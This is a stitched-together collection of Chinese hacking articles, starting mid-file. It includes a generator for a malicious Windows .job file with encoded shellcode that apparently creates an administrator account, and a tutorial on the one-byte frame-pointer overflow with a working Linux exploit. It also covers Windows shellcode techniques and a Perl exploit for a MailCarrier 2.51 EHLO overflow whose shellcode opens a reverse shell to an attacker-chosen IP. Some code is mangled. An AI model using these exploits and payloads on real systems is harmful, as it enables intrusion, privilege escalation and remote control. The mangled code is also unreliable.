"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";
unsigned char job_end[] =
"\x00\x00\x00\x00\x04\x00\x44\x00\x3A\x00"
"\x5C\x00\x00\x00\x07\x00\x67\x00\x75\x00\x65\x00\x73\x00\x74\x00"
"\x31\x00\x00\x00\x00\x00\x00\x00\x08\x00\x03\x13\x04\x00\x00\x00"
"\x00\x00\x01\x00\x30\x00\x00\x00\xD4\x07\x07\x00\x0F\x00\x00\x00"
"\x00\x00\x00\x00\x0B\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00";

unsigned char shellcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x42\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
"\xEB\xF6\xFA\xFC\xEA\xEA\x99"
"\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC\xED\xB9\xEC\xEA\xFC\xEB\xB9\xD0\xCC\xCA\xD8"
"\xB9\xF2\xA0\xA8\xA8\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6"
"\xFA\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED\xEB\xF8\xED"
"\xF6\xEB\xEA\xB9\xD0\xCC\xCA\xD8\xB9\xB6\xF8\xFD\xFD\x99";
int main(int argc, char* argv[])
{
char buf[40960];
int
        len=0,i=0;
WORD len_name;
FILE *fp;
fp =
        fopen("create_account.job", "wb");
if(fp)
{
len=sizeof(job_head) - 1;
memcpy(buf, job_head, len);
len_name=1024;
buf[len]=len_name/2%256+1;
buf[len+1]=len_name/2/256;
len=len+2;
for(i=0;i<len_name/2;i++)
{
buf[len+i*2]=i%128?i%128:i/128+1;
buf[len+i*2+1]=0x0;
}
memcpy(buf+len+518,"\x1e\x34\xc6\x77",4);
memcpy(buf+len+534,"\xe9\x63\x03\x00\x00\x90",6);
memcpy(buf+len+562,shellcode,sizeof(shellcode)-1);

memcpy(buf+len+len_name,
        job_end, sizeof(job_end)-1);
fwrite(buf, 1, len+len_name+sizeof(job_end)-1, fp);
fclose(fp);
}
return 0;
}


单字节缓冲区溢出
通常的缓冲区溢出就是通过重写堆栈中储存的EIP的内容，来使程序跳转到我们的shellcode
处去执行。其实，即使缓冲区只溢出一个字节的时候,也有可能去执行我们的代码。这听起来
有些不可思议，其实还是很有可能的，下面我们就来看看这是如何实现的。
我们先写一个有弱点的程序，它只能被溢出一个字节。

ipdev:~/tests$ cat > suid.c
#include
func(char
        *sm)
{
char
        buffer[256];
int i;
for(i=0;i<=256;i++)
        //最多可以拷贝257个字节到一个256字节的缓冲区中
buffer[i]=sm[i];
}
main(int argc, char *argv[])
{
if (argc < 2) {
printf("missing args\n");
exit(-1);
}
func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$
我们可以看到，我们只能拷贝257个字节到一个256字节的缓冲区中，也就是说，我们
只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢？还是
先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:

ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb)
当call指令被调用时，进程会首先将%eip（下一条要执行的指令的地址）压入堆栈。
然后将%ebp的内容压入堆栈，就象在*0x8048134处所看到的。接着进程将当前堆栈
的地址拷贝到%ebp中，接着为局部变量分配空间：%esp减小0x104字节（256+4）。
buffer[]占用了256字节(0x100),整形变量i占4个字节。在溢出发生以前，我们的
堆栈中的情况如下：
栈顶（低地址）

|---------|
| i | 4字节
|---------|\
| buff[0] | \
|---------| |
| buff[1] | |
|---------| |--> 256字节
| ....... | |
|---------| |
|buff[255]| /
|---------|/
|保存的ebp| 4字节
|---------|
|保存的eip| 4字节
|---------|

栈底（高地址）

这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针（func()开始执行前被压入堆栈），
如何利用这个字节来改变程序的执行呢？我们先来看看%ebp中内容的变化情况。当func()
将要结束时，%ebp被从堆栈中恢复。（见）让我们再看看接下来发生了什么：
（还是利用gdb来反汇编main())
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb)

当func()调用结束后，%ebp将会被拷贝到%esp中（见),这意味着我们可以
改变%esp到其他的值，但并不是任意的，因为我们只能修改%ebp的最后一个字节。
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `perl -e 'print "A"x257'`
Starting program: /home/klog/tests/suid `overflow 257`
Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp 0xbffffd45 0xbffffd45
(gdb)
在溢出发生后，%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41)
被拷贝到%esp中作为新的堆栈指针(见),
main()会再从堆栈中弹出保存的ebp到%ebp中，这时%esp的值会再增加4个字节(栈顶
向高地址方向缩短4个字节）。这时我们看到的%esp的值就是:
0xbffffd45=0xbffffd41+0x41
很明显，我们不能在func()中直接改变原来被保存的%eip的值，但可以修改main()中的
%esp的值.当进程从一个过程返回的时候，只是弹出堆栈栈顶的第一个字（4字节），将
它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以让进程
弹出一个我们设定的值，然后进程就会跳到那里去执行我们的程序代码。
我们可以构造一个buffer用来完成我们的工作：
[nops][shellcode][&shellcode][改变%ebp的字节]
这样当溢出发生时堆栈中的情况就是这样的：
栈顶（低地址）

|---------|
| i | 4字节
|---------|\
| 0x90 | \
|---------| |
| 0x90 | |
|---------| |--> 256字节
| ....... | |
|---------| |
|shellcode| |
| ....... | |
|---------| |
|跳转地址 | /
|---------|/
|保存的ebp| 4字节(最低的一个字节被覆盖）
|---------|
|保存的eip| 4字节
|---------|

栈底（高地址）
我们想让%esp指向跳转地址，以便当从main()中返回时这个跳转地址会被弹入到%eip
中，从而去执行我们的shellcode代码。
现在我们需要得到的是被覆盖的buffer的地址和跳转地址的值。我们不得不先写一个
程序来构造一下真实攻击时的场景。
ipdev:~/tests$ cat > fake_exp.c
#include
#include
main()
{
int i;
char buffer[1024];

bzero(&buffer, 1024);
for (i=0;i<=256;i++)
{
buffer[i] = 'A';
}
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.
Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp 0xbffffc60 0xbffffc60
(gdb)
从上面的分析，我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
开始的，指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100（buffer大
小)-0x04(跳转地址大小）=0xbffffd60处。
有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
最后一个字节。这里要减去4个字节是因为当从main()中返回时，%esp会增加4个字节（
因为弹出了保存的%ebp)。
跳转地址的值并不需要是shellcode的起始地址，只要是NOP指令之间的某个地址即可。
（就象通常的溢出程序一样）即：0xbffffc64---(0xbffffd64-shellcode大小)。
我们这里选用0xbffffc74.
ipdev:~/tests$ cat > exp.c
#include
#include
char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
main()
{
int i, j;
char buffer[1024];
bzero(&buffer, 1024);
for (i=0;i<=(252-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x74; //
buffer[i++] = 0xfc; // 跳转地址
buffer[i++] = 0xff; //
buffer[i++] = 0xbf; //
buffer[i++] = 0x5c; // 用来覆盖%ebp的字节
execl("./suid", "suid", buffer, NULL);
}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$
成功了！现在让我们仔细的看一下到底发生了些什么。

ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp
Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)
我们先来设置几个断点来观察被覆盖的栈帧指针的值。
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134 : pushl %ebp
0x8048135 : movl %esp,%ebp
0x8048137 : subl $0x104,%esp
0x804813d : nop
0x804813e : movl $0x0,0xfffffefc(%ebp)
0x8048148 : cmpl $0x100,0xfffffefc(%ebp)
0x8048152 : jle 0x8048158
0x8048154 : jmp 0x804817c
0x8048156 : leal (%esi),%esi
0x8048158 : leal 0xffffff00(%ebp),%edx
0x804815e : movl %edx,%eax
0x8048160 : addl 0xfffffefc(%ebp),%eax
0x8048166 : movl 0x8(%ebp),%edx
0x8048169 : addl 0xfffffefc(%ebp),%edx
0x804816f : movb (%edx),%cl
0x8048171 : movb %cl,(%eax)
0x8048173 : incl 0xfffffefc(%ebp)
0x8048179 : jmp 0x8048148
0x804817b : nop
0x804817c : movl %ebp,%esp
0x804817e : popl %ebp
0x804817f : ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)
上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。
(gdb) disassemble main
Dump of assembler code for function main:
0x8048180 : pushl %ebp
0x8048181 : movl %esp,%ebp
0x8048183 : cmpl $0x1,0x8(%ebp)
0x8048187 : jg 0x80481a0
0x8048189 : pushl $0x8058ad8
0x804818e : call 0x80481b8 <_IO_printf>
0x8048193 : addl $0x4,%esp
0x8048196 : pushl $0xffffffff
0x8048198 : call 0x804d598
0x804819d : addl $0x4,%esp
0x80481a0 : movl 0xc(%ebp),%eax
0x80481a3 : addl $0x4,%eax
0x80481a6 : movl (%eax),%edx
0x80481a8 : pushl %edx
0x80481a9 : call 0x8048134
0x80481ae : addl $0x4,%esp
0x80481b1 : movl %ebp,%esp
0x80481b3 : popl %ebp
0x80481b4 : ret
0x80481b5 : nop
0x80481b6 : nop
0x80481b7 : nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)
上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
现在让我们来运行程序：
(gdb) c
Continuing.
Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp 0xbffffd64 0xbffffd64
这是%ebp的原来的内容

(gdb) c
Continuing.
Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp 0xbffffd5c 0xbffffd5c
溢出后，我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)

(gdb) c
Continuing.
Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp 0xbffffd5c 0xbffffd5c
(gdb) c
Continuing.
此时%esp指向0xbffffd5c
Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp 0xbffffd60 0xbffffd60
弹出保存的%ebp后，%esp增加了4个字节，指向我们存放跳转地址的位置

(gdb)
看一下此时堆栈中的情况：
(gdb) x 0xbffffd60
0xbffffd60 <__collate_table+3086619092>: 0xbffffc74

这里确实存放着我们的跳转地址
(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc84 <__collate_table+3086618872>: 0x90909090
0x90909090 0x90909090 0x90909090
0xbffffc94 <__collate_table+3086618888>: 0x90909090
0x90909090
(gdb)

跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。

(gdb) c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$

下面的简图大致描述了%ebp与%esp的变化。

func()中，返回前 main()中 main()中 main()中
栈顶（低地址） addl $0x4,%esp movl %ebp,%esp popl %ebp

0xbffffc60|----------| |----------| |----------| |----------|
| i | | i | | i | | i |
0xbffffc64|----------| |----------| |----------| |----------|
| 0x90 | | 0x90 | | 0x90 | | 0x90 |
|----------| |----------| |----------| |----------|
| 0x90 | | 0x90 | | 0x90 | | 0x90 |
|----------| |----------| |----------| |----------|
-----> | ....... | | ....... | | ....... | | ....... |
| |----------| |----------| |----------| |----------|
| |shellcode | |shellcode | |shellcode | |shellcode |
| | ....... | | ....... | %esp--->| ....... |0xbffffd5c|......... |
0xbffffd60|----------| |----------| |----------| %esp-->|----------|
|----- |0xbffffc74| |0xbffffc74| |0xbffffc74| |0xbffffc74| -->%eip
0xbffffd64|----------| |----------| |----------| |----------|
保存的ebp |0xbffffd5c| |0xbffffd5c| |0xbffffd5c| |0xbffffd5c|
%esp--->|----------| |----------| |----------| |----------|
|保存的eip | |保存的eip | |保存的eip | |保存的eip |
|----------| %esp-->|----------| |----------| |----------|

%esp=0xbffffd68 %esp=0xbffffd6c %esp=0xbffffd5c %esp=0xbffffd60
%ebp=0xbffffd5c %ebp=0xbffffd5c %ebp=0xbffffd5c %ebp=0xxxxxxxxx

结束语:

这种方法看起来很不错，它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
是可行的，但也需要一些条件。首先，它需要知道buffer的地址，这要求我们要能构
造相同的攻击环境以便得到这些值，这通常是比较困难的，特别是在远程机器上。由
于只能溢出一个字节，我们的buffer必须紧挨着栈帧指针，也就是说，要溢出的buffer
必须是函数中第一个被宣称的变量。对于大endian结构的系统，%ebp在内存中的顺序是
高字节在前低字节在后，所以将会覆盖掉ebp的高字节，我们不得不保证我们的程序可以
跳到那个地址去执行...

尽管如此，这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
也可能导致严重的安全问题.:-)

参考文献：
[1] <>55-08 [ The Frame Pointer Overwrite ] by klog
[2] <>49 [ Smashing The Stack For Fun And Profit ] by Aleph1


WINDOWS的SHELLCODE编写高级技巧

unix等系统因为有用户概念，所以往往溢出是使用先得到普通帐号，然后登陆后用溢出再加载一个SHELL的办法得到ROOT权限，其系统调用又方便，所以SHELLCODE编写一般都比较简单。但WINDOWS系统往往不提供登陆服务，所以溢出攻击的SHELLCODE往往要提供SOCKET连接，要加载程序得到SHELL等，而WINDOWS的系统调用int2e接口又不如unix系统调用int80规范，所以一般都使用API，而API函数地址又因为系统版本的不同而不一样，所以要编写WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

经过一段时间的思考，得到了WINDOWS下编写SHELLCODE的比教好的办法。
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法，这样只要知道溢出点大致范围就可以了。
2、SHELLCODE定位。使用ESP寄存器定位，只要前面那覆盖的RET地址后面放一个JMP ESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址，54 C3，或者FF E4 、C3这个一个语言的WINDOWS地址固定，也很好找这个地址。

4、SHELLCODE直接使用C语言编写，方便编写、修改、调试。

5、SHELLCODE统一编码，满足应用条件对SHELLCODE字符的限制，用一段小汇编代码解码，这样编写SHELLCODE就可以不用考虑特殊字符了。
6、通信加密，对付防火墙，实现FTP功能，实现内存直接接管WEB服务等的高级应用。

下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用GetProcAddress定位，要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个API了。那这两个API的地址又怎么解决呢，LoadLibraryA这个API在系统库KERNEL32.DLL里面，也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll，所以解决办法就是在
内存里面找到这个系统库和API地址，所幸知道了WINDOWS的模块数据结构也就不难了,主要是增加异常结构处理 。下面是VC6.0程序代码：

void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle；
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链，SHELLCODE接管异常 */

imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */

call getexceptretadd
}
/* 得到异常后的返回地址 */
for(;imgbase+(将+改成尖括号)0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模块地址是64K为单位，加快速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 如果到这还没有搜索到，那可能是WIN9X系统 */
if(*( WORD *)imgbase=='ZM'&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))=='EP'){
/* 模块结构的模块头 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
/* 模块名 */
libhandle=imgbase;
/* 得到模块头地址，就是模块句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l+(将+改成尖括号)*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。

_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢复异常结构链 */

if(procgetadd==0) goto die ;
/* 如果没找到GetProcAddress地址死循环 */
die: goto die ;

_asm{

getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到异常后的返回地址，并填写到异常处理模块 */

/* 异常处理模块 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改异常返回EIP指针 */
xor eax,eax //2
/* 不提示异常 */
ret //1
/* 异常处理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}


[转载]用PERL打造自己的缓冲区漏洞利用程序

——MailCarrier 2.51邮件服务器溢出程序的改写
作者：小花 QQ：56111981（小华）http://xiaohuar.blogchina.com
文章已发表于黑客X档案12期 转载请注明出处

几天前我在外国网站发现了一个关于MailCarrier 2.51邮件服务器EHLO/HELO的溢出信息，发现其中的利用代码是用python语言写的，这种语言我不懂，也没兴趣学，但为了利用这个程序再装个解释器太麻烦了，所以就决定把利用程序改成PERL的。MailCarrier 2.51邮件服务器是一个功能完备，支持SSL加密和SMPT/POP3认证的服务器，国内用的虽然不是很多，在国外它还是有一定市场的。MailCarrier SMTP server对EHLO/HELO命令处理不正确，远程攻击者可以利用这个漏洞对服务进程进行缓冲区溢出，可能以进程权限执行任意指令。
提交包含超长参数的EHLO/HELO命令，可触发缓冲区溢出，精心构建提交数据可能以进程权限执行任意指令。
看来是一个很简单的超长参数溢出漏洞。
我给出模拟的堆栈描述。
内存低端 内存高端
[临时变量处，用任意字符串填充|EBP|EIP|NNNSSSS]
堆栈顶端 堆栈底端
看来只要提交超长数据，必然会出发漏洞，至少会造成程序崩溃。服务器运行在WINDOWS服务器上，SHELLCODE我是从网上下的，覆盖EIP的JMP ESP我是用的WIN2000的。
二 程序关键代码解析
if($backport!~/^\d+$/||$backport<=0||$backport>65535)
{ print ("Input valid port number\n");
usage();
exit;
}
$port1=$backport^0x9999;
$port1=pack('n',$port1);
程序中的SHELLCODE用的是反向连接，上面的代码就是把我们提交的端口号封装成网络格式。
if($backip!~/^\d+.\d+.\d+.\d+$/)
{
print ("Input valid ip address\n");
usage();
exit;
}
@backip1=split(/\./,$backip);
$ip=$backip1[0]*256*256*256+$backip1[1]*256*256+$backip1[2]*256+$backip1[3];
$ip=$ip^0x99999999;
$ip=pack('N',$ip);
以上代码把提交的IP地址封装成网络格式，上面的封装格式并不是我自己想出来的，也是不能改的，因为数据的格式是固定的。这个IP地址是回连地址，在此之前应该用NC在这台主机上设置端口监听。

$remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$hostname, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $hostname:$port\n";
上面的代码是建立TCP连接，这个连接是连接到目标服务器的，也就是运行邮件服务器的主机。

$sc2=
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x9f\x01\x80\x34\x0B\x99\xE2\xFA".
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\xFF\x18\x75\x19\x99\x12\x6D\x71\x8A".
"\x98\x99\x99\x10\x9F\x66\xAF\xF1\x17\xD7\x97\x75\x71\xB4\x98\x99".
"\x99\x10\xDF\x91\x66\xAF\xF1\x34\x40\x9C\x57\x71\x87\x98\x99\x99".
"\x10\xDF\x95\xF1\xF5\xF5\x99\x99\xF1\xAA\xAB\xB7\xFD\xF1\xEE\xEA".
"\xAB\xC6\xCD\x66\xCF\x91\x10\xDF\x9D\x66\xAF\xF1\xEB\x67\x2A\x8F".
"\x71\x60\x99\x99\x99\x10\xDF\x89\x66\xAF\xF1\xE7\x41\x7B\xEA\x71".
"\x73\x99\x99\x99\x10\xDF\x8D\x66\xEF\x9D\xF1\x52\x74\x65\xA2\x71".
"\x43\x99\x99\x99\x10\xDF\x81\x66\xEF\x9D\xF1\x40\x90\x6C\x34\x71".
"\x53\x99\x99\x99\x10\xDF\x85\x66\xEF\x9D\xF1\x75\x60\x33\xF9\x71".
"\x23\x99\x99\x99\x10\xDF\xB9\x18\x75\x09\x98\x99\x99\xCD\xF1\x98".
"\x98\x99\x99\x66\xCF\x81\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF".
"\x85\x12\x41\x72\x9A\x66\xCF\x8D\xF1";
$sc2.=$ip;#IP地址
$sc2.="\xF1\x9B\x99";
$sc2.=$port1;#端口
$sc2.="\x12\x55\xF3\x89\xC8\xCA\x66\xCF\xB9\x1C\x59\xEC\x7F\xF1".
"\xFC\xE1\xFC\x99\xF1\xFA\xF4\xFD\xB7\x10\xFF\xA9\x1A\x5D\x35\x14".
"\xA5\xBD\xAA\x59\xAA\x50\x19\x70\x72\x32\x7B\x64\x5F\xDD\xBD\x89".
"\xDD\x67\xDD\xBD\xA5\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD".
"\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98".
"\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x89\x12\x55\xF3\x66\x66\xA8\x66".
"\xCF\x95\x12\x51\x72\x16\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59".
"\xE1\x95\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9".
"\xAD\x12\x31\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC".
"\xCF\xCE\x12\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12".
"\xD3\x81\x12\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA".
"\x66\x65\xAA\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B".
"\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12".
"\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6".
"\xC7\xC4\xC2\x5B\x9D\x99";
上面的SHELLCODE 是网上下载的。
$buffer="EHLO ";
$buffer.="A"x5097;
$buffer.="\x12\x45\xfa\x7f";
$buffer.="\x90"x32;
$buffer.=$sc2;
$buffer.="\r\n";
